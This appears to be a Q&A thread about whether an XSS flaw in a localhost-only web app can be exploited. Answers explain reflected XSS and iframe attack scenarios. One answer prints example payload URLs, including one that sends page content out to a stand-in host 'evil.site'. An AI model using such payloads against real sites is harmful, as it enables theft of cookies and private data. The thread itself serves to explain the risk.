XSS risk for an application which can be accessed from localhost only

Question

I have an web app which can used via an browser. The web app can be accessed on localhost only. No remote access is possible. A security tool discovered an XSS issue. Now if this web app is works only localhost, then how can one exploit this XSS issue ? My guess is that only a local user can exploit this issue.

Answer 1

Yes, it's an issue.

The entire point of an XSS is to send a user to a crafted URL that exploits the bug on that user's browser. If an attacker knows an XSS exists, he could craft an XSS URL and send it to a target user, and that user would be able to access the localhost domain.

For example, say there's a page called /viewitem which takes a parameter name, which is vulnerable to XSS:

http://localhost/viewitem?id=123&name=n<script>alert(document.cookie);</script>

He sends you that link. You click it, and suddenly you're greeted by an alert box containing the cookies for the page. In reality, he'd post the cookie value off to a 3rd party site, and he's stolen your cookies! In this case he can't actually access the site, so it's a moot point.

However, depending on the configuration of the site, he may be able to exfiltrate data from the viewitem page too. For example:

http://localhost/viewitem?id=123&name=n<script>var ver=document.getElementById('version').innerHTML;document.location.href='http://evil.site/steal?ver='+encodeURIComponent(ver);</script>

If you've got an element with the id version, the above URL would extract its contents and send it to a 3rd party page, thus informing the attacker of the version of your software. This trick could be extended to steal other private information on the page, or use Ajax to fetch other content from the localhost domain.

Answer 2

It is an issue and here is an attack scenario:

• Vulnerable webapp Vuln_app resides on Vuln_machine
• Vuln_app is accessible only from localhost
• A user browsing the web from Vuln_machine browses to Attack_site website
• Attack_site contains a webpage with an iframe that points to the Vuln_app on localhost: <iframe src="http://127.0.0.1/Vuln_app/<xss_issue>"/>
• Attack_site can now execute JavaScript code in the context of Vuln_app

Answer 3

Yes. If you are the only person going to use this application then also you need to bother about XSS because of reflective xss. But if this application is going to be used by co-workers this will be a serious issue. Especially if you are a part of an organization and there are peoples who can access your application, then they can make use of this vulnerability to deface your server and spoil your web application. If your application is hosting for long run this issue should be fixed.